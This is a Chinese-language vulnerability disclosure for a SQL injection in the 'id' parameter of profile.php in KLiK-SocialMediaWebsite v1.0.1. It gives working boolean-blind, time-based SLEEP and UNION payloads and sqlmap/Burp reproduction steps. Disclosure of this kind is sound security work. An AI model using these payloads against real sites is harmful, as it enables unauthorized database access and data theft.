KLiK-SocialMediaWebsite 版本 v1.0.1

漏洞说明：

KLiK-SocialMediaWebsite v1.0.1 在 profile.php 的 id 参数存在 SQL 注入漏洞。

攻击向量：

KLiK-SocialMediaWebsite v1.0.1 一旦创建用户，也可以通过 KLiK 用户页面在 KLiK 上查找人员。profile.php 的 'id' 参数可被滥用，用于注入任意 SQL 查询。

受影响：

• http://ip_address/KLiK/profile.php?id=user_id
• GET /KLiK/login.php

Payload：

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=27 AND 3227=3227

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=27 AND (SELECT 3046 FROM (SELECT(SLEEP(5)))barN)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 11 columns
    Payload: id=-2373 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71787a7171,0x6d67676474624545784f564265735871415865575a4f72697053686d724768624969514c70754459,0x717a707071),NULL,NULL,NULL,NULL,NULL,NULL#

测试环境：

1. KLiK SocialMediaWebsite 版本 v1.0.1 (https://github.com/msaad1999/KLiK-SocialMediaWebsite/releases/tag/v1.0.1)

2. Firefox 105 版本

3. sqlmap 1.6.7 稳定版

攻击步骤：

1. 使用用户名和密码登录。
2. 点击右上角表示人的图标。
3. 使用 Burp Suite 拦截请求。
4. 通过点击姓名从 KLiK 用户页面选择一个人。
5. 返回 Burp Suite，在 /profile.php 处右键点击并选择“Copy to file”。
6. 将请求文件发送到 Kali Linux 并使用 sqlmap 运行。
7. 通过 id 发现 SQL 注入漏洞。

发现者：

:shipit: Grim The Ripper Team (由 SOSECURE Thailand 提供)

媒介：

披露时间线：

• 2022–09–28: 发现漏洞。
• 2022–09–28: 向 MITRE 公司报告漏洞。
• 2022–10–15: 预留 CVE 编号。
• 2022–10–31: 公开披露漏洞。

参考：

3. https://github.com/msaad1999/KLiK-SocialMediaWebsite/releases/tag/v1.0.1

4. https://github.com/msaad1999/KLiK-SocialMediaWebsite